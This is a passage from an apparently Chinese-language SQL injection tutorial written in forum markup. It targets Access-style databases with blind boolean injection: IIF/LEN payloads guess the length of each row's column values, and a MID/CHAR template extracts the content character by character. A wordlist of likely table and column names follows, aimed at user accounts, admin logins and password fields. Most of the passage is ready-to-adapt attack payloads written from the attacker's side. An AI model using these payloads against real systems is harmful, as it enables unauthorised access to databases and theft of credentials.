    ' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)
    ' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)
    然后就可以这样获取第二行的内容的长度(假设A1为表的主键):
    ' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
    A1 <>'1111') = KKK, 1, 0)
    ' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)
    'AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)
    第三行也一样:
    ' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
    A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)
    ' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
    ' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)

    很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后)。
     最后:猜解内容。
    假设攻击者已经知道了表和列名,他将使用这样的查询:
    [size=16][b]' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
    ... etc ... ) = CHAR(YYY), 1, 0)[/b][/size]

    "N"是要猜解的行, "XXX"是 "ATTRIBxxx"的第X个字节, "ATT_key"是表的的主键"YYY"是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容.
     0x007:表名/列名(字典)
    这里是一个小的表/列名样本字典
        *
    account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
        *
    customers, customer, config, conf, cfg;
        *
    hash;
        *
    login, logout, loginout, log;
        *
    member, memberid;
        *
    password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
        *
    store, store1, store2, store3, store4, setting;
        *
    username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;